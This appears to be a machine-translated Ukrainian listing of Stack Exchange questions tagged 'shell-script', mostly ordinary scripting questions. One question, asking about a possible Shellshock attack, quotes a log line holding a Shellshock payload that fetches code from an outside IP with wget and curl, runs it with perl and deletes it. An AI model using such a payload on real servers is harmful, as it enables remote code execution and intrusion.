Запитання з тегом «shell-script»

Сценарій оболонки - це сценарій, написаний для оболонки або інтерпретатора командного рядка операційної системи.

2
Як я можу порівняти змінну з текстовим рядком, а не цілим числом, у операторі if / else?
У процесі написання сценарію оболонки я зіткнувся з проблемою із наступним твердженням if / else, яке потрапляє десь посередині скрипту: if [ $act -eq "add" ] then read - "add or update: " $comm git commit -m "$comm $file" else git commit -m "$act $file" fi Помилка повернення: ./gitup: line …

3
Це напад чи щось турбує? Shellshock?
Побачив це access.logна моєму тестовому сервері: > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; > perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\"" Жодна адреса не пов’язана зі мною, або наш IP-діапазон (або що-небудь інше …

8
Як запустити скрипт оболонки в Windows? [дублікат]
На це питання вже є відповіді : Як виконати .sh файл у Windows? (15 відповідей) Закрито 2 роки тому . Це питання було переміщено із переповнення стека, оскільки на нього можна відповісти на Super User. Мігрували 7 років тому . Я користувач Mac і новачок у Windows. Як я можу …

7
Запустити скрипт оболонки на OS X без появи вікна терміналу?
Я намагаюся налаштувати кілька комбінацій клавіш, які відкривають конкретні сесії iTerm, які мені вдалося зробити з BetterTouchTool та трохи магії AppleScript. Проблема полягає в тому, що OS X наполягає на тому, щоб відкрити вікно терміналу для будь-якого сценарію оболонки, який ви виконуєте через графічний інтерфейс (тобто з Finder, або як …

3
Визначте архітектуру Mac із командного рядка чи сценарію?
Я пишу сценарій оболонки, і мені потрібно знати архітектуру, тобто PPC або Intel. Ще в той день була програма / бін / арка, яка вам сказала, але у мого Mac, схоже, її немає. Чи є простий спосіб я це зробити? Гребіть за щось у логфайлі? Назвіть якусь іншу програму, яка …

3
Передача двох аргументів команді за допомогою труб
Зазвичай нам потрібно передати лише один аргумент: echo abc | cat echo abc | cat some_file - echo abc | cat - some_file Чи є спосіб передати два аргументи? Щось на зразок {echo abc , echo xyz} | cat cat `echo abc` `echo xyz` Я міг би спочатку зберігати обидва …

7
через ssh та оболонку через ssh: як вийти?
Я запускаю віддалений сценарій через SSH так: ssh user@ipaddress '~/my_script.sh' Все йде добре, але як тільки сценарій закінчується, з'єднання не закривається. Я повинен натиснути CTRL-C, щоб перервати поточне з'єднання. Я спробував команду "вихід" у "~ / my_script.sh", і це марно. Я спробував команду "вихід" у "~ / my_script.sh" і отримую …
22 bash  ssh  shell-script 


1
Bash: необов'язково передача аргументів команді
Я намагаюся додати аргументи до виклику команди залежать від іншої змінної. Перегляньте код сценарію оболонки: curl \ $([ -z "${title}" ] || echo --data-urlencode title=${title}) \ http://example.com У прикладі, якщо titleвін вказаний недійсним, до нього буде додано аргумент curl. Це не працює правильно, якщо titleмістить пробіли. Крім того, я не …

4
Чи слід ставити розширення файлів * .sh та * .rb на всі мої сценарії?
У мене в каталозі $ HOME / bin є купа рулонних виконуваних сценаріїв. Деякі написані в баші, деякі в Рубі. Усі вони мають рядок shebang вгорі, вказуючи оболонці, який інтерпретатор використовувати (у моєму випадку bash чи Ruby). Мені цікаво, чи краще розмістити розширення файлів на цих скриптах, щоб вказати, на …


2
Написання скриптів оболонок, які працюватимуть на будь-якій оболонці (використовуючи кілька рядків shebang?)
Я щойно почав заглиблюватися в сценарій оболонки, і завжди просто кидав свій скрипт у файл, відзначав його, chmod +xа потім робив /path/to/script.shі нехай будь-який інтерпретатор за замовчуванням має свій шлях до нього, що я вважав, що це zsh, тому що це Я використовував для своєї оболонки. Мабуть, здається, що це …

5
Програматично визначити, чи виконується сценарій на ноутбуці чи настільному комп’ютері?
Чи є якийсь надійний спосіб визначити (програмно) зсередини bash-сценарію, якщо він виконується на ноутбуці чи настільному комп'ютері? Я, очевидно, міг просто запропонувати користувачеві запитати їх, але це досить незграбно.

4
Як уникнути апострофа в одному цитованому рядку в баші?
Я не розумію, як Баш оцінює втечу символів апострофа в одних цитованих рядках. Ось приклад: $ echo ''\''Hello World'\''' 'Hello World' # works $ echo '\'Hello World\'' > # expects you to continue input Я намагався шукати пояснення цьому, але нічого не зміг отримати. Що тут робить баш?

1
Розділіть дуже довгий рядок слів на окремі рядки максимальної довжини
У мене є скрипт, який виводить список пакетів у одному довгому рядку, розділеному пробілами. Інформація, що міститься в цьому рядку, повинна бути вставлена ​​у текстовий файл, який надалі буде представлений користувачеві. Я хочу розділити довгий рядок на кілька рядків із визначеною максимальною довжиною, наприклад, 80 символів, але розділення має відбуватися …

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.